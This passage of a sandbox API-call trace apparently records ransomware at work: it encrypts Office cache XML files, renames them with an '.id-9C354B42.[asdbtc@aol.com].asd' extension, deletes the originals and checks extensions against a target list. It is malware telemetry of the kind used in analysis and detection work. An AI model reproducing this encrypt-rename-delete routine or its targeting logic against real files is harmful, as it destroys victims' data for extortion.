dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.305] GetLastError () returned 0x0 [0042.305] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xc72, lpOverlapped=0x0) returned 1 [0042.597] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xc80, lpOverlapped=0x0) returned 1 [0042.598] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0042.599] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xf0, lpOverlapped=0x0) returned 1 [0042.599] SetEndOfFile (hFile=0x19c) returned 1 [0042.599] CloseHandle (hObject=0x19c) returned 1 [0042.600] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.600] SetEndOfFile (hFile=0x198) returned 1 [0042.601] CloseHandle (hObject=0x198) returned 1 [0042.602] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.602] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0042.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.602] lstrlenW (lpString=".doc") returned 4 [0042.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.602] lstrlenW (lpString=".docx") returned 5 [0042.602] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.602] lstrlenW (lpString=".pdf") returned 4 [0042.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.602] lstrlenW (lpString=".xls") returned 4 [0042.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.603] lstrlenW (lpString=".xlsx") returned 5 [0042.603] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.603] lstrlenW (lpString=".ppt") returned 4 [0042.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.603] lstrlenW (lpString=".zip") returned 4 [0042.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.603] lstrlenW (lpString=".rar") returned 4 [0042.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.603] lstrlenW (lpString=".bz2") returned 4 [0042.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.603] lstrlenW (lpString=".7z") returned 3 [0042.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.603] lstrlenW (lpString=".dbf") returned 4 [0042.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.603] lstrlenW (lpString=".1cd") returned 4 [0042.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.604] lstrlenW (lpString=".jpg") returned 4 [0042.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.632] lstrlenW (lpString=".doc") returned 4 [0042.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.632] lstrlenW (lpString=".docx") returned 5 [0042.632] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.632] lstrlenW (lpString=".pdf") returned 4 [0042.632] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.632] lstrlenW (lpString=".xls") returned 4 [0042.632] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.632] lstrlenW (lpString=".xlsx") returned 5 [0042.632] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.632] lstrlenW (lpString=".ppt") returned 4 [0042.632] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.633] lstrlenW (lpString=".zip") returned 4 [0042.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.633] lstrlenW (lpString=".rar") returned 4 [0042.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.633] lstrlenW (lpString=".bz2") returned 4 [0042.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.633] lstrlenW (lpString=".7z") returned 3 [0042.633] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.633] lstrlenW (lpString=".dbf") returned 4 [0042.633] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.633] lstrlenW (lpString=".1cd") returned 4 [0042.633] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0042.633] lstrlenW (lpString=".jpg") returned 4 [0042.633] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.633] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.633] lstrlenW (lpString="Proof.xml") returned 9 [0042.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.634] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1458) returned 1 [0042.634] CloseHandle (hObject=0x198) returned 1 [0042.634] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0042.634] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.634] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.634] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.634] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.634] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.634] GetLastError () returned 0x0 [0042.634] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x5b2, lpOverlapped=0x0) returned 1 [0042.641] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0042.642] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0042.642] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.642] SetEndOfFile (hFile=0x19c) returned 1 [0042.643] CloseHandle (hObject=0x19c) returned 1 [0042.643] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.644] SetEndOfFile (hFile=0x198) returned 1 [0042.644] CloseHandle (hObject=0x198) returned 1 [0042.644] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.645] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.645] lstrlenW (lpString=".doc") returned 4 [0042.645] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.645] lstrlenW (lpString=".docx") returned 5 [0042.645] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0042.645] lstrlenW (lpString=".pdf") returned 4 [0042.645] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.645] lstrlenW (lpString=".xls") returned 4 [0042.645] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.645] lstrlenW (lpString=".xlsx") returned 5 [0042.645] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0042.645] lstrlenW (lpString=".ppt") returned 4 [0042.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.645] lstrlenW (lpString=".zip") returned 4 [0042.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.645] lstrlenW (lpString=".rar") returned 4 [0042.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString=".bz2") returned 4 [0042.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString=".7z") returned 3 [0042.646] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.646] lstrlenW (lpString=".dbf") returned 4 [0042.646] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.646] lstrlenW (lpString=".1cd") returned 4 [0042.646] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.646] lstrlenW (lpString=".jpg") returned 4 [0042.646] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.646] lstrlenW (lpString=".doc") returned 4 [0042.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString=".docx") returned 5 [0042.646] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0042.646] lstrlenW (lpString=".pdf") returned 4 [0042.646] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString=".xls") returned 4 [0042.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString=".xlsx") returned 5 [0042.646] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0042.646] lstrlenW (lpString=".ppt") returned 4 [0042.646] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.647] lstrlenW (lpString=".zip") returned 4 [0042.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.647] lstrlenW (lpString=".rar") returned 4 [0042.647] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.647] lstrlenW (lpString=".bz2") returned 4 [0042.647] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.647] lstrlenW (lpString=".7z") returned 3 [0042.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.647] lstrlenW (lpString=".dbf") returned 4 [0042.647] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.647] lstrlenW (lpString=".1cd") returned 4 [0042.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0042.647] lstrlenW (lpString=".jpg") returned 4 [0042.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.647] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.647] lstrlenW (lpString="Proofing.xml") returned 12 [0042.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.648] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=811) returned 1 [0042.648] CloseHandle (hObject=0x198) returned 1 [0042.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0042.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.648] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.648] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.648] GetLastError () returned 0x0 [0042.648] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x32b, lpOverlapped=0x0) returned 1 [0042.678] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x330, lpOverlapped=0x0) returned 1 [0042.679] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0042.679] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.679] SetEndOfFile (hFile=0x19c) returned 1 [0042.680] CloseHandle (hObject=0x19c) returned 1 [0042.680] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.680] SetEndOfFile (hFile=0x198) returned 1 [0042.681] CloseHandle (hObject=0x198) returned 1 [0042.681] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.681] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.682] lstrlenW (lpString=".doc") returned 4 [0042.682] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.682] lstrlenW (lpString=".docx") returned 5 [0042.682] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0042.682] lstrlenW (lpString=".pdf") returned 4 [0042.682] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.682] lstrlenW (lpString=".xls") returned 4 [0042.682] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.682] lstrlenW (lpString=".xlsx") returned 5 [0042.682] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0042.682] lstrlenW (lpString=".ppt") returned 4 [0042.682] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.682] lstrlenW (lpString=".zip") returned 4 [0042.682] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.682] lstrlenW (lpString=".rar") returned 4 [0042.682] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.682] lstrlenW (lpString=".bz2") returned 4 [0042.682] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.682] lstrlenW (lpString=".7z") returned 3 [0042.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.683] lstrlenW (lpString=".dbf") returned 4 [0042.683] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.683] lstrlenW (lpString=".1cd") returned 4 [0042.683] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.683] lstrlenW (lpString=".jpg") returned 4 [0042.683] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.683] lstrlenW (lpString=".doc") returned 4 [0042.683] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString=".docx") returned 5 [0042.683] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0042.683] lstrlenW (lpString=".pdf") returned 4 [0042.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString=".xls") returned 4 [0042.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString=".xlsx") returned 5 [0042.683] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0042.683] lstrlenW (lpString=".ppt") returned 4 [0042.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.683] lstrlenW (lpString=".zip") returned 4 [0042.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.684] lstrlenW (lpString=".rar") returned 4 [0042.684] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.684] lstrlenW (lpString=".bz2") returned 4 [0042.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.684] lstrlenW (lpString=".7z") returned 3 [0042.684] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.684] lstrlenW (lpString=".dbf") returned 4 [0042.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.684] lstrlenW (lpString=".1cd") returned 4 [0042.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0042.684] lstrlenW (lpString=".jpg") returned 4 [0042.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.684] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.684] lstrlenW (lpString="Setup.xml") returned 9 [0042.684] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.684] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=2362) returned 1 [0042.685] CloseHandle (hObject=0x198) returned 1 [0042.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0042.685] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.685] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0042.685] CreateFileW (lpFileName="C:\\MSOCache\\All 